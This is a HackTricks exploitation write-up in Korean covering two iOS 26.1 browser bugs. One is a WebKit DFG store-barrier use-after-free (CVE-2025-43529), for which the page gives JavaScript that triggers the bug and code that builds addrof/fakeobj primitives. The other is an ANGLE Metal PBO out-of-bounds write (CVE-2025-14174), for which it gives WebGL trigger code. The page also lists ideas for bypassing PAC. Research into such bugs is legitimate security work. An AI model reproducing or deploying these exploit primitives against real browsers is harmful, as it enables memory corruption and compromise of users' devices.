WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
요약
- DFG Store Barrier bug (CVE-2025-43529):
DFGStoreBarrierInsertionPhase.cpp에서 Upsilon 입력들이 그렇지 않은데 Phi 노드가 escaped로 표시되는 경우 해당 phase가 이후 객체 저장에 대해 write barrier 삽입을 건너뜁니다. GC 압력 하에서 이는 JSC가 아직 도달 가능한 객체를 해제하게 하여 → use-after-free. - 익스플로잇 대상: Date 객체가 butterfly를 실체화하게 강제(예:
a[0] = 1.1)하여 butterfly가 해제되도록 한 뒤, 이를 배열 요소 저장 공간으로 재할당(reclaimed) 하며 boxed/unboxed 혼동을 만들어addrof/fakeobj프리미티브를 획득. - ANGLE Metal PBO bug (CVE-2025-14174): Metal backend는 실제 텍스처 높이 대신
UNPACK_IMAGE_HEIGHT을 사용해 PBO staging buffer를 할당합니다. 작은 unpack height를 제공한 뒤 큰texImage2D를 호출하면 staging-buffer OOB write(아래 PoC에서 약 240KB)가 발생합니다. - PAC blockers on arm64e (iOS 26.1): TypedArray의
m_vector와 JSArray의butterfly는 PAC-signed되어 있으며, 공격자가 선택한 포인터로 fake object를 위조하면EXC_BAD_ACCESS/EXC_ARM_PAC로 크래시합니다. 이미 서명된(to-be reused) butterflies(즉 boxed/unboxed 재해석)만 재사용하는 방식만 동작합니다.
DFG missing barrier 트리거 → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Key points:
- 세대별 barrier를 작동시키기 위해 A를 old space에 배치한다.
- butterfly가 해제된 대상이 되도록 인덱스된 Date를 만든다.
ArrayBuffer(0x800000)를 spray하여 GC를 강제하고 레이스를 확장한다.- Phi/Upsilon의 escape 불일치가 barrier 삽입을 멈춘다;
b.p1 = a는 without a write barrier로 실행되어 GC가a/butterfly를 회수한다.
Butterfly reclaim → boxed/unboxed 혼동
GC가 Date butterfly를 해제한 후, freed slab가 서로 다른 element kinds를 가진 두 배열의 elements로 재사용되도록 arrays를 spray한다:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
현황 on iOS 26.1 (arm64e):
- 작동함:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - 아직 안정적이지 않음: generalized
read64/write64via inline-slot backings.
PAC constraints on arm64e (왜 fake objects가 충돌하는가)
- TypedArray
m_vector및 **JSArraybutterfly**는 PAC-signed; 포인터를 위조하면EXC_BAD_ACCESS/ 아마EXC_ARM_PAC가 발생함. - confusion primitive는 합법적으로 서명된 butterflies를 재사용하기 때문에 동작함; 서명되지 않은 attacker pointers를 도입하면 인증에 실패함.
- 가능한 bypass 아이디어: auth를 건너뛰는 JIT 경로, attacker pointers에 서명하는 gadgets, 또는 ANGLE OOB를 통한 pivoting.
ANGLE Metal PBO의 under-allocation → OOB write
작은 unpack height를 사용해 staging buffer를 축소한 다음 큰 texture를 업로드해서 copy가 overrun되게 만듭니다:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
노트:
TextureMtl.cpp의 버그: staging buffer가 PBO 경로에서 실제 텍스처 높이 대신UNPACK_IMAGE_HEIGHT을 사용함.- 참조 프로브에서는 WebGL2 PBO trigger가 구성되어 있지만 iOS 26.1에서는 아직 안정적으로 관찰되지 않음.
참고자료
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


